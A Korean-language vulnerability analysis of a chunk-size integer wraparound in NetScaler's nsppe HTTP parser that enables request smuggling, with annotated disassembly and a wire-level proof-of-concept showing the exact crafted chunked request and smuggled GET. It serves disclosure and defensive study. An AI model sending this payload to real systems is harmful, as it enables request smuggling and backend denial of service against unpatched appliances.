
NetScaler nsppe HTTP/1.1 청크 크기 정수 랩 요청 스머글링 취약점에 대한 기술 분석으로, 디스어셈블리, 와이어 레벨 PoC 흐름, 펌웨어 패치 diff를 포함합니다.
nsppe HTTP/1.1 청크 본문 파서는 청크 크기 필드를 32비트 레지스터로 읽어 들이며 오버플로를 검사하지 않는다. 16진수 숫자가 9개 이상이면 값이 조용히 랩어라운드된다: 100000005(2^32 + 5)는 청크 크기 5로 처리된다.
이는 웃긴 파서 버그에 불과하지만, NetScaler가 본문을 어떻게 처리하는지 떠올리면 이야기가 달라진다. NetScaler는 클라이언트의 청크 프레이밍을 수신한 그대로 백엔드로 전달하지만, 요청이 어디서 끝나는지는 자신의 랩어라운드된 값으로 판단한다. 즉, 프록시는 요청 #1이 본문 5바이트 후에 완료되었다고 믿는 반면, 동일한 바이트를 올바르게 읽는 백엔드는 4,294,967,301을 계산하고 결코 도착하지 않을 4GB 본문을 기다리며 대기한다. 두 대의 머신, 하나의 바이트 스트림, 요청이 어디서 끝나는지에 대한 두 가지 서로 다른 의견.
NetScaler가 생각하는 "끝" 이후의 모든 것은 동일한 클라이언트 연결에서 새로운 파이프라인 요청으로 재분류된 다음, 공유된 프록시-백엔드 연결을 통해 독립적으로 전달된다.
결과는 백엔드 자체 파서에 따라 달라진다:
인증되지 않은 요청 하나. 기본 구성. HTTP vserver에 도달할 수 있다는 것 외에는 아무런 전제 조건도 없음.
파서의 임무는 간단하다: 1a3f\r\n과 같은 청크 크기 라인을 숫자로 변환하는 것. rdi에 있는 버퍼와 esi에 있는 길이를 받아, 16진수 값을 *rdx의 32비트 슬롯에 누산하고(입력 및 출력, 따라서 두 패킷에 걸쳐 분할된 크기도 깔끔하게 재개됨), 공백을 건너뛰고, 후행 \r\n을 요구한다. 소비된 바이트 수, "데이터 더 필요"를 의미하는 0, 또는 잘못된 형식을 의미하는 -1로 응답한다.
전체 루프는 육안으로도 버그를 확인할 수 있을 만큼 작다:
20af5e0: movzx eax, BYTE PTR [rbx]
20af5e3: test BYTE PTR [rax+rax*1+0x2746c80], 0x10 ; ctype: hex digit?
20af5eb: je 20af60b
20af5ed: mov ecx, r11d
20af5f0: shl ecx, 0x4 ; value <<= 4
20af5f3: movzx r11d, BYTE PTR [rax+0x2746b80] ; hexval(digit)
20af5fb: add r11d, ecx ; value = value*16 + d
20af5fe: inc rbx
20af601: dec r8d
20af604: jne 20af5e0 ; next digit
r11d는 누산기이며 32비트 폭입니다. 각 숫자는 value <<= 4; value += digit를 수행합니다. 숫자 카운터도, 자릿수 상한도, 오버플로 검사도, 루프 어디에도 jo가 없습니다. 아홉 번째 숫자에서 오류가 나지 않고, 숫자의 최상위 비트가 레지스터 끝을 넘어 밀려나가는데 아무도 알아채지 못합니다. 0x100000005 & 0xffffffff = 5이며, 파서는 이에 완벽히 만족합니다.
다운스트림에는 정확히 하나의 정상성 검사가 있는데, 거의 시적인 방식으로 잘못되어 있습니다. 디청킹 드라이버(sub_20af6b0, 호출 지점 0x20af719 / 0x20af9fb, 크기는 [r12+0x344]에 저장됨)는 누적된 값에 부호 검사를 적용합니다. 잠시 곱씹어 보십시오. 잡히는 유일한 랩은 음수 절반인 [0x80000000, 0xffffffff]에 떨어지는 것들뿐입니다. 하위 32비트가 0x80000000 미만으로 나오는 랩된 크기는 완전히 정상적인 청크 크기로서 그대로 통과합니다. 0x100000005가 5로 랩되는 것이 전형적인 사례로, 랩되었지만 눈에 띄지 않고 파괴적입니다.
패킷이 스머글(smuggle)로 변하는 이유는 NetScaler가 본문을 처리하는 방식의 한 가지 설계 결정 때문입니다. 즉, 클라이언트의 청크 프레이밍을 백엔드로 바이트 단위로 그대로 전달하면서, 클라이언트 요청이 어디서 끝나는지 결정하기 위해서는 자신의 (랩된) 프레이밍 이해를 사용합니다.
따라서 NetScaler는 요청 #1을 다섯 개의 본문 바이트 후에 끝내고, 뒤따르는 37바이트를 두 번째 파이프라인 요청으로 큐에 넣습니다. 산술을 올바르게 수행하는 백엔드는 100000005를 4,294,967,301로 읽고 요청 #1의 본문을 계속 기다립니다. 그 시점부터 두 박스는 동일한 스트림을 읽으면서 서로 다른 세계에 살고 있습니다.
어느 세계에 속하게 되는지는 백엔드에 달려 있습니다.
Attacker NetScaler (<=73.30) Backend (RFC 64-bit)
| | |
| [1] one TCP segment, 122 bytes: | |
| POST /wrap HTTP/1.1 | |
| Host: poc | |
| Transfer-Encoding: chunked | |
| 100000005\r\nAAAAA\r\n0\r\n\r\n | |
| GET /SMUGGLED HTTP/1.1 | |
| Host: poc\r\n\r\n | |
|--[1]---------------------------------->| |
| | [2] parses "100000005" into a u32 |
| | wraps to 5; consumes AAAAA; |
| | sees terminating 0-chunk |
| | ==> request #1 COMPLETE |
| | trailing 37 bytes held as a |
| | pending pipelined request #2 |
| | |
| |--[3] 85 bytes, framing VERBATIM-------------->|
| | POST /wrap HTTP/1.1 |
| | Transfer-Encoding: chunked |
| | 100000005\r\nAAAAA\r\n0\r\n\r\n |
| | |
| | | [4] parses 0x100000005 (64-bit)
| | | = 4,294,967,301 bytes
| | | waiting for a body that never co
| | | [WEDGED: no response, ever]
| | |
| | GET /SMUGGLED waits in NetScaler's |
| | pipeline queue forever: response #1 |
| | never arrives |
| | |